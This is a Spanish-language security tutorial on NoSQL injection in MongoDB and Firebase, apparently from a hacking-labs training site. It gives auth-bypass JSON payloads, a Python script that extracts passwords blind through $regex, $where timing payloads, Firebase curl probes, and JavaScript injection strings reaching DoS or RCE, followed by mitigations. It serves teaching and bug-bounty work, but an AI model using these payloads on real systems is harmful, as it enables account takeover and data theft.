Nuevos labs cada semana — Accede a todos desde 5€/mes

Nivel IntermedioGratis

NoSQL Injection — MongoDB, Firebase y bypasses con operadores

Cómo inyectar en queries NoSQL: $ne/$gt/$regex en MongoDB, bypass de auth, extracción blind y diferencias con SQLi clásico.

Gorka El Bochi9 de mayo de 202611 min

Respuesta rápida

NoSQL injection (NoSQLi) ocurre cuando inputs sin sanitizar acaban en queries de bases NoSQL. En MongoDB el vector más común es la inyección de operadores ($ne, $gt, $regex, $where) cuando el body acepta JSON y el código usa Model.find(req.body) directamente. Permite bypass de auth (encontrar al menos un usuario sin saber password), extracción blind via timing/regex, y a veces RCE en setups antiguos.


Contexto: por qué NoSQL es distinto

SQLi rompe la sintaxis del query. NoSQLi reemplaza valores con operadores que el motor interpreta de forma diferente.

Ejemplo en Express + Mongoose:

javascript
app.post('/login', async (req, res) => {
  const user = await User.findOne(req.body);  // ⚠️ pasa todo el body como filtro
  if (user) return res.json({ ok: true });
});

Si el cliente manda:

json
{ "username": "admin", "password": { "$ne": "x" } }

La query se convierte en findOne({username: "admin", password: {$ne: "x"}}) → "encuentra el admin cuyo password no sea 'x'" → matchea cualquier admin con password ≠ "x" → bypass.


Auth bypass clásico

http
POST /login
Content-Type: application/json

{
  "username": { "$gt": "" },
  "password": { "$gt": "" }
}

$gt: "" matchea cualquier string. La query devuelve el primer usuario de la collection — frecuentemente admin si está en orden de creación.

Variantes a probar si la primera no funciona:

json
{ "username": { "$ne": null }, "password": { "$ne": null } }
{ "username": { "$regex": ".*" }, "password": { "$regex": ".*" } }
{ "username": "admin", "password": { "$ne": "" } }
{ "username": "admin", "password": { "$regex": ".*" } }
{ "$where": "1==1" }

Blind extraction con $regex

Cuando la app no devuelve datos directamente pero confirma "login OK / KO":

json
{ "username": "admin", "password": { "$regex": "^a.*" } }

Si responde 200 → password empieza por "a". Iterar carácter a carácter para extraer el password completo. Sin rate limiting, automatizable en minutos.

python
import requests, string

password = ""
charset = string.ascii_letters + string.digits + string.punctuation

while len(password) < 50:
    for c in charset:
        prefix = password + c
        r = requests.post("https://target.tld/login", json={
            "username": "admin",
            "password": {"$regex": f"^{prefix}"}
        })
        if r.status_code == 200:
            password += c
            print(f"Found: {password}")
            break
    else:
        break  # No char matches → password completo

print(f"Final: {password}")

Time-based blind con $where

Si la app no devuelve diferentes status codes pero ejecuta $where con código JS:

json
{
  "$where": "function() { if (this.username == 'admin' && this.password.match(/^a/)) sleep(5000); return true; }"
}

Mide latencia de la respuesta para detectar match. Útil cuando los responses son idénticos (silent server). Requiere $where habilitado (deshabilitado en MongoDB Atlas y configs modernas).


Inyección en endpoints GET (URL params)

Cuando el backend convierte query strings a operadores:

bash
GET /users?username[$ne]=&password[$ne]=

Express con qs o body-parser extendido convierte automáticamente username[$ne]= en { username: { $ne: "" } }. Si el código pasa req.query directamente al find(), mismo bypass que el body.

Algunos frameworks (default Express qs en versions modernas) ya no parsean profundo. Verificar con:

ruby
?username[$ne]=admin
?username[%24ne]=admin   (URL-encoded)

Operadores útiles para NoSQLi

OperadorUso
$eqIgualdad explícita
$neNo igual (matchea casi todo)
$gtMayor que ("" matchea todos los strings)
$ltMenor que
$inEstá en array
$regexMatch por regex (extracción blind)
$existsCampo existe (true) o no (false)
$whereJS arbitrario (deshabilitado en configs modernas)
$exprAggregation expression (más potente)
$orMúltiples condiciones

Otros engines

Firebase Realtime Database / Firestore

Firebase rules son la primera línea de defensa. Si las rules son read: true, write: true (default en quickstarts), la base es completamente abierta.

bash
# Test con HTTP REST
curl https://target.firebaseio.com/.json
curl https://target.firebaseio.com/users.json

Lo que normalmente "se inyecta" en Firebase es acceso directo a paths que no deberían ser legibles. No es injection clásico — es broken access control en las rules.

CouchDB / Cassandra

Patrones similares cuando los queries se construyen dinámicamente con input del cliente. Menos común en bug bounty que MongoDB.


SSJI (Server-Side JavaScript Injection)

Si la app usa Mongo $where con código JS construido dinámicamente:

javascript
const code = `function() { return this.tag == "${userInput}"; }`;
db.collection.find({ $where: code });

Inyectando "; while(true){}; var x=", el JS resultante hace busy-loop → DoS. Con process.exit(), mata el worker. Con require('child_process').exec("...") en algunos contextos viejos → RCE.


Hunting checklist

  • ¿El endpoint acepta JSON body? Probar { "username": { "$ne": null }, "password": { "$ne": null } }.
  • ¿El endpoint acepta query strings? Probar ?username[$ne]=.
  • ¿El framework parsea [$op] automáticamente? Test con un campo claramente erróneo.
  • ¿El response cambia si la inyección "matchea"? → bypass directo.
  • ¿Mismo response visualmente pero diferente timing? → blind via $regex + sleep.
  • ¿Hay $where habilitado? Probar JS injection.
  • ¿Firebase URL pública sin reglas? curl https://<project>.firebaseio.com/.json.
  • ¿Endpoints de admin con búsqueda por filtros? Vector frecuente.

Mitigación correcta

  1. Whitelist de campos esperados. No User.find(req.body) directamente — extrae solo { username, password } explícitamente.
  2. Validar tipo. Asegurarse de que username y password son strings, no objetos.
  3. Sanitizadores específicos (mongo-sanitize para Express).
  4. Schemas con tipos estrictos (Mongoose con type: String, required: true).
  5. Deshabilitar $where en producción.

Labs relacionados

Practica auth bypass con $ne, blind extraction con $regex, y NoSQLi en GET params: labs de NoSQL Injection.

Practica esto en un lab

Nosql Injection

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados